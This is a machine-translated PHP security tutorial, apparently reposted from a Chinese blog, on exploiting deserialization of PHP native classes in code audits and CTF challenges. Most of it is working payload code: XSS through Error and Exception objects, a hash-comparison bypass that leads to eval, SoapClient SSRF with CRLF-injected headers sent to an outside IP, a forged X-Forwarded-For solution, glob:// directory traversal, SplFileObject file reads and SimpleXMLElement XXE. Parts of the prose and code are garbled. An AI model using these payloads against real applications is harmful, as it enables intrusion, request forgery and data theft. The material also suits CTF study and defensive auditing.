Rumah >pembangunan bahagian belakang >tutorial php >Pemahaman mendalam tentang kelas asli yang menyahsiri PHP

Pemahaman mendalam tentang kelas asli yang menyahsiri PHP

WBOY
WBOYke hadapan
2022-05-17 11:56:516942semak imbas

Artikel ini membawakan anda pengetahuan yang berkaitan tentang PHP, yang terutamanya memperkenalkan penggunaan kelas asli yang dinyahsiri Jika terdapat fungsi penyahserikatan dalam audit kod atau titik ctf, tetapi ia tidak dapat membina rantai pop yang lengkap. jadi bagaimana kita harus memecahkan keadaan pada masa ini? Mari kita lihat, saya harap ia akan membantu semua orang.

Pemahaman mendalam tentang kelas asli yang menyahsiri PHP

Kajian yang disyorkan: "Tutorial Video PHP"

Analisis ringkas tentang penggunaan kelas asli penyahserialisasian PHP

Jika terdapat fungsi penyahserialisasian dalam audit kod atau ctf, tetapi rantai pop yang lengkap tidak dapat dibina, bagaimanakah kita harus memecahkan keadaan? Kita boleh cuba bermula dengan kelas asli PHP Sesetengah kelas asli PHP mempunyai beberapa kaedah ajaib terbina dalam Jika kita bijak membina parameter yang boleh dikawal, mencetuskan dan menggunakan kaedah sihir terbina dalam mereka, adalah mungkin untuk mencapai beberapa matlamat yang kita inginkan. .

1. Kaedah sihir biasa

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

2 Pergi melalui kaedah ajaib dalam semua kelas asli

3. Penggunaan beberapa kelas asli biasa
<?php $classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }}

Ralat/Pengecualian

Ralat

ialah kelas asas untuk semua kelas ralat dalaman PHP. (PHP 7, 8)

**Ralat::__toString ** Ungkapan rentetan ralat

Mengembalikan ungkapan rentetan Ralat.

Pengecualian

ialah kelas asas untuk semua pengecualian peringkat pengguna. (PHP 5, 7, 8)

**Exception::__toString ** Tukar objek pengecualian kepada rentetan

Mengembalikan pengecualian yang ditukar kepada jenis rentetan.

Atribut kelas

kandungan mesej ralat mesej
  • kod ralat kod
  • fail membuang nama fail yang salah
  • baris membuang nombor baris yang salah
  • XSS
Kaedah __toString akan mengembalikan bentuk rentetan ralat atau pengecualian, yang mengandungi parameter yang kami masukkan Jika kami membina rentetan kod xss dan menggabungkannya dengan pemaparan gema, kerentanan xss yang dicerminkan akan dicetuskanContoh:

POC:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

<?php $a = new Error("<script>alert('xss')");$b = serialize($a);echo urlencode($b);

pintasan cincangPemahaman mendalam tentang kelas asli yang menyahsiri PHP

Lihat satu dahulu Soalan
[2020 Geek Challenge] Greatphp

perlu memintas dua perbandingan kuat cincang, dan akhirnya perlu membina kod eval untuk melaksanakan

Jelas sekali kaedah biasa tidak akan berfungsi, dan ia boleh dipintas melalui kelas asli
<?phperror_reporting (0);class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }}if (isset($_GET['great'])){
    unserialize($_GET['great']);} else {
    highlight_file(__FILE__);}

Begitu juga, apabila fungsi md5() dan sha1() memproses objek, kaedah __tostring akan dipanggil secara automatik

Mari kita lihat secara ringkas output

<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;
Kita dapati maklumat yang dikembalikan oleh kedua-dua kelas asli ini adalah sama kecuali nombor baris. Mengambil kesempatan daripada ini, kita boleh cuba cincang Untuk memintas fungsi, perlu diperhatikan bahawa kedua-dua objek masuk mesti diletakkan pada baris yang sama

Pemahaman mendalam tentang kelas asli yang menyahsiri PHP Oleh itu, kita boleh menjalankan ujian mudah dan mendapati bahawa menggunakan ini kaedah boleh memintas perbandingan fungsi hash (lemah)

<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n";}if (md5($a)===md5($b)){
    echo "md5值相等\n";}if (sha1($a)===sha1($b)){
    echo "sha1值相等";}
Berdasarkan mata pengetahuan ini, kami boleh membina muatan dengan mudah

Pemahaman mendalam tentang kelas asli yang menyahsiri PHP

SoapClient

  <?phpclass  SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
		   if(!preg_match("/\syc, $match)){
			   eval($this->syc);
		   } else {
			   die("Try Hard !!");
		   }
		   
		}
	}}$str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1);
	$b=new Error($str,2);
	$c = new SYCLOVER();$c->syc = $a;$c->lover = $b;
	echo(urlencode(serialize($c)));?>
SoapClient

Ia adalah kelas yang digunakan khas untuk mengakses perkhidmatan web Ia boleh menyediakan klien PHP yang mengakses perkhidmatan web berdasarkan protokol SOAP Ia boleh membuat mesej data sabun dan berinteraksi dengan Antara muka wsdl

Modul sambungan sabun dimatikan secara lalai Anda perlu mendayakannya secara manual apabila menggunakannya

SoapClient::__call

—Panggil fungsi SOAP (PHP. 5, 7, 8)

Biasanya, fungsi SOAP boleh dipanggil sebagai kaedah objek SoapClient

SSRF

Pembina:
Apakah itu sabun

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
Kami membina muatan eksploitasi, parameter Bab Satu ialah NULL dan lokasi parameter kedua ditetapkan kepada alamat vps

SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
untuk mendengar port 2333 vps Seperti yang ditunjukkan dalam rajah di bawah, SSRF berjaya dicetuskan, dan vps menerima maklumat permintaan

Dan anda boleh melihat bahawa SOAPAction dan user_agent boleh dikawal <.>
<?php $a = new SoapClient(null, array(
&#39;location&#39; => 'http://47.102.146.95:2333', 
'uri' =>'uri',
'user_agent'=>'111111'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

Semasa ujian tempatan, didapati bahawa apabila menggunakan kelas terbina dalam ini (iaitu protokol sabun) untuk meminta port di mana perkhidmatan wujud, ralat akan dilaporkan serta-merta , dan apabila mengakses port yang tidak mempunyai perkhidmatan (tidak diduduki), ia akan menunggu untuk tempoh masa dan melaporkan ralat, yang boleh digunakan untuk mengesan aset intranet.

Jika anda bekerjasama dengan kerentanan CRLF, anda juga boleh menggunakan SoapClient untuk mengawal parameter lain atau menghantar data melalui pos. Contohnya: protokol HTTP untuk menyerang RedisPemahaman mendalam tentang kelas asli yang menyahsiri PHP

sambungan pengetahuan CRLF

Dengan menggabungkan CRLF, kami boleh menggunakan SoapClient CRLF untuk melakukan lebih banyak perkara, seperti memasukkan kuki tersuai,

HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。
攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。

发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

<?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();

Pemahaman mendalam tentang kelas asli yang menyahsiri PHP

看一道ctfshow上的题,完美利用上述知识点

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

poc:

<?php $target = &#39;http://127.0.0.1/flag.php&#39;;
$post_string = &#39;token=ctfshow&#39;;
$b = new SoapClient(null,array(&#39;location&#39; => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

DirectoryIterator/FilesystemIterator

DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)

目录遍历

使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

例如:

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

Pemahaman mendalam tentang kelas asli yang menyahsiri PHP

因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

SplFileObject

SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
    echo($a);
}*/

如果没有遍历的话只能读取第一行,且受到open_basedir影响

SimpleXMLElement

解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)

SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象

XXE

我们查看一下其参数:

Pemahaman mendalam tentang kelas asli yang menyahsiri PHP

根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。

利用可参考赛题:[SUCTF 2018]Homework

ReflectionMethod

获取注释内容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

Pemahaman mendalam tentang kelas asli yang menyahsiri PHP

同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述

推荐学习:《PHP视频教程

Atas ialah kandungan terperinci Pemahaman mendalam tentang kelas asli yang menyahsiri PHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:csdn.net. Jika ada pelanggaran, sila hubungi admin@php.cn Padam